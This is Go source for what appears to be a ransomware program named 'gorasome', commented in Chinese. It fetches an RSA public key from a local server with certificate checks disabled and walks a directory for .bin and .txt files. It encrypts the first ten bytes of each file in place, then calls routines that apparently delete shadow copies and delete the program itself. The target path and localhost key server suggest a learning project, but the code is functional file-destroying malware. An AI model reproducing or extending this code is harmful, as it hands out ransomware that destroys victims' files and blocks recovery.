package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/sha256"
	"crypto/tls"
	"crypto/x509"
	"encoding/json"
	"encoding/pem"
	"fmt"
	"gorasome/create_mutex"
	"gorasome/delete_self"
	"gorasome/delete_shadow"
	"gorasome/open_file"
	"gorasome/pop_up"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

// extractBinFiles 遍历指定目录并提取所有以 .Bin 结尾的文件路径
// extractFiles 遍历指定目录并提取所有指定扩展名的文件路径
func extractFiles(dir string, extensions []string) ([]string, error) {
	var files []string

	err := filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}
		// 检查文件是否以指定扩展名结尾
		if !info.IsDir() {
			for _, ext := range extensions {
				if strings.HasSuffix(strings.ToLower(info.Name()), ext) {
					files = append(files, path)
					break // 找到一个匹配后跳出循环
				}
			}
		}
		return nil
	})

	if err != nil {
		return nil, err
	}
	return files, nil
}

// Bianli 遍历多个目录并提取指定扩展名的文件路径
func Bianli(dirs []string) ([]string, error) {
	extensions := []string{".bin", ".txt"}
	var allFiles []string

	for _, dir := range dirs {
		files, err := extractFiles(dir, extensions)
		if err != nil {
			return nil, err
		}
		allFiles = append(allFiles, files...)
	}

	return allFiles, nil
}

// 从 PEM 格式中解析公钥
func parsePublicKeyFromPEM(pemBytes []byte) (*rsa.PublicKey, error) {
	block, _ := pem.Decode(pemBytes)
	if block == nil || block.Type != "PUBLIC KEY" {
		return nil, fmt.Errorf("failed to parse PEM block containing public key")
	}
	return x509.ParsePKCS1PublicKey(block.Bytes)
}

// 加密数据
func encryptData(pubKey *rsa.PublicKey, data []byte) ([]byte, error) {
	hash := sha256.New() // 使用 SHA-256 作为哈希算法
	return rsa.EncryptOAEP(hash, rand.Reader, pubKey, data, nil)
}

func encfile(publicKey string, myfilename string) {
	// 修改文件后缀名为 .bin
	newFilename := filepath.Base(myfilename)
	newFilename = newFilename[:len(newFilename)-len(filepath.Ext(newFilename))] + ".bin"
	fmt.Println("新文件名:", newFilename)
	data := make([]byte, 10)
	data = open_file.Open(myfilename)
	// 打印二进制内容
	for _, b := range data {
		fmt.Printf("%02x ", b) // 以二进制格式打印每个字节
	}
	fmt.Println() // 换行

	// 从 PEM 格式解析公钥
	parsedPubKey, err := parsePublicKeyFromPEM([]byte(publicKey))
	if err != nil {
		fmt.Println("解析公钥时出错:", err)
		return
	}

	// 加密前 10 个字节
	encryptedData, err := encryptData(parsedPubKey, data)
	if err != nil {
		fmt.Println("加密数据时出错:", err)
		return
	}

	// 打印加密后的数据
	fmt.Print("加密后的数据: \r\n")
	for _, b := range encryptedData {
		fmt.Printf("%02x ", b)
	}

	// 打印加密后的数据长度
	fmt.Printf("加密后的数据长度: %d 字节\n", len(encryptedData))

	// 打开文件以进行读写
	file, err := os.OpenFile(myfilename, os.O_RDWR, 0644)
	if err != nil {
		log.Fatalf("无法打开文件: %v", err)
	}
	defer file.Close()

	// 删除前10个字节
	if _, err := file.Seek(10, 0); err != nil {
		log.Fatalf("移动文件指针时出错: %v", err)
	}

	// 读取剩余内容
	remainingData, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatalf("读取文件时出错: %v", err)
	}

	// 将文件指针移动到开头
	if _, err := file.Seek(0, 0); err != nil {
		log.Fatalf("移动文件指针时出错: %v", err)
	}

	// 截断文件以删除前10个字节
	if err := file.Truncate(10); err != nil {
		log.Fatalf("截断文件时出错: %v", err)
	}

	// 写入加密后的数据
	if _, err := file.Write(encryptedData); err != nil {
		log.Fatalf("写入文件时出错: %v", err)
	}

	// 将剩余内容写回文件
	if _, err := file.Write(remainingData); err != nil {
		log.Fatalf("写入剩余内容时出错: %v", err)
	}

	fmt.Println("加密后的数据已成功写入文件.")

	fmt.Println() // 换行
}

func main() {
	create_mutex.CreatMutex()
	pop_up.PopUP()
	// 创建一个自定义的 HTTP 客户端，跳过证书验证8080
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{Transport: tr}

	// 发送 GET 请求以获取公钥
	resp, err := client.Get("https://localhost:8080/")
	if err != nil {
		log.Fatalf("获取公钥失败: %v", err)
	}
	defer resp.Body.Close()

	// 读取响应体
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatalf("读取响应失败: %v", err)
	}

	// 解析 JSON 响应
	var result map[string]string
	if err := json.Unmarshal(body, &result); err != nil {
		log.Fatalf("解析 JSON 失败: %v", err)
	}

	// 提取公钥
	publicKey := result["public_key"]
	fmt.Printf("获取到的公钥:\n%s\n", publicKey)
	directories := []string{"D:\\code\\go\\gorasome"} //[]string{"path/to/dir1", "path/to/dir2"}
	files, err := Bianli(directories)
	if err != nil {
		// 处理错误
		fmt.Println("遍历目录时出错:", err)
	}
	for _, file := range files {
		encfile(publicKey, file)
	}
	delete_shadow.DeleteShadow()
	delete_self.DeleteSelf()
}
